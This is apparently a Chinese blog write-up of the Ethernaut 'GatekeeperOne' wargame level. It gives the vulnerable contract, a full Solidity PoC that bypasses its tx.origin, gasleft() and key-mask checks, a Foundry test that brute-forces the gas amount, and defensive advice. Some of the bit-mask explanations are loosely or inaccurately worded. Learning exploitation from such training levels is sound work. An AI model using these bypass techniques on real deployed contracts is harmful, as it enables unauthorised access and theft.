Ethernaut Solutions-GateKeeperOne 合约分析以及相应PoC
on my Github 我通过Ethernaut学习了智能合约漏洞,并进行了安全分析,我还提出了一些防御措施,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。
contract GatekeeperOne {
address public entrant;
/* 通过合约调用 GatekeeperOne.enter */
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
gateTwo
进行require检查时,gasleft()的值能被8191整除,gasleft() returns (uint256)
表征剩余gas。攻击者通过指定gas数量来达成攻击,那么如何去计算gas的数量呢?
forge test --gas-report
,输出结果如下:
| test/GateKeeper.t.sol:GatekeeperOne contract | | | | | |
|----------------------------------------------|-----------------|-----|--------|-------|---------|
| Function Name | min | avg | median | max | # calls |
| enter | 350 | 398 | 350 | 22687 | 465 |
test/GateKeeper.t.sol:Solution contract | |||||
---|---|---|---|---|---|
Function Name | min | avg | median | max | # calls |
Attack | 1269 | 1326 | 1269 | 23679 | 465 |
通过gas报告,我们可以看到`enter`函数消耗了350 gas,`Attack`函数消耗了1269 gas,也就是说我们调用Solution.Attack(),保证gas > 23679 + 350 = 24029 gas可以进入`GatekeeperOne.enter()`,这块为了保证攻击的成功,我们gas范围选取在 8191*3+1000~1500,通过for循环来测试攻击所需gas(通过测试1000以下的无法成功)。
```solidity
function test_Attack() public {
vm.startBroadcast(deployer);
bool success;
for(uint256 i = 1000; i < 1500; i++){
uint gas = 8191*3 + i;
success = solution.Attack{gas: gas}();
if(success){
console2.log("Success with gas", i);
break;
}
}
assertEq(gatekeeperOne.entrant(), deployer);
vm.stopBroadcast();
}
最终得到 i = 1464, 并且通过了测试,在实际攻击时,指定gas为 8191*3+1464 会revert,所以根据结果来约束for循环区间来节约gas。
gateThree
这需要满足3个require条件,其中第一个条件是uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
,这个条件是检查gateKey的低16位是否等于高32位,形如 0x0000ffff & x ;
第二个条件是uint32(uint64(_gateKey)) != uint64(_gateKey)
,这个条件是检查gateKey的低32位是否不等于高64位,形如 0xffffffff+8位 & uint64(_gateKey) 就能够满足条件2;
第三个条件是uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
,这个条件是检查gateKey的低32位是否等于tx.origin的低16位,形如 0x0000ffff,结合3个条件得到结果的掩码为 0xFFFFFFFF0000FFFF
——> bytes8 _gateKey = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF.
根据以上分析,完整的PoC代码如下:
contract Solution {
address contractAddress;
constructor(address _contractAddress) {
contractAddress = _contractAddress;
}
function Attack() external returns (bool) {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xFFFFFFFF0000FFFF;
(bool success,) = contractAddress.call(abi.encodeWithSignature("enter(bytes8)", key));
return success;
}
}
contract GatekeeperOneTest is BaseTest {
GatekeeperOne public gatekeeperOne;
Solution public solution;
function setUp() public override {
super.setUp();
gatekeeperOne = GatekeeperOne(contractAddress);
solution = new Solution(address(gatekeeperOne));
}
function test_Attack_gas() public {
vm.startBroadcast(deployer);
bool success;
for(uint256 i = 1450; i < 1500; i++){
uint gas = 8191*3 + i;
success = solution.Attack{gas: gas}();
if(success){
console2.log("Success with gas", i);
break;
}
}
assertEq(gatekeeperOne.entrant(), deployer);
vm.stopBroadcast();
}
}
## 防御措施
在这个合约控制权限访问的三个modifier函数都并不是不可控制的,其中包含的gasleft(), tx.origin等都可以被利用,我们在编写合约时需要考虑到使用无法被操控的变量进行访问权限设置,并确保这些变量在合约中不会被修改, 避免使用tx.origin、避免过度依赖gasleft()、使用最新的 Solidity 版本等。
以下是一些在编写合约时可以考虑的方法:
1. 使用不可变变量: 在合约中使用constant或immutable关键字声明变量,这样可以确保其数值在合约部署后无法修改。这样的变量通常用于存储常量值或者一次性设置的值。
```solidity
contract MyContract {
address public constant OWNER = 0x123...; // 不可变的合约拥有者地址
uint256 public immutable CREATION_TIME = block.timestamp; // 合约创建时间
}
访问控制列表 (Access Control Lists, ACLs): 使用 ACL 模式可以将权限控制逻辑集中化,将访问权限与角色/地址绑定,并在需要时修改 ACL 而不是直接修改权限控制函数。这种方法有助于提高可维护性和可扩展性。
contract MyContract {
mapping(address => bool) public isAdmin;
constructor() {
isAdmin[msg.sender] = true; // 合约部署者默认为管理员
}
modifier onlyAdmin() {
require(isAdmin[msg.sender], "Not an admin");
_;
}
}
interface IAccessControl {
function hasAccess(address _user) external view returns (bool);
}
contract MyContract { IAccessControl public accessControl;
constructor(IAccessControl _accessControl) {
accessControl = _accessControl;
}
modifier onlyAuthorized() {
require(accessControl.hasAccess(msg.sender), "Unauthorized");
_;
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!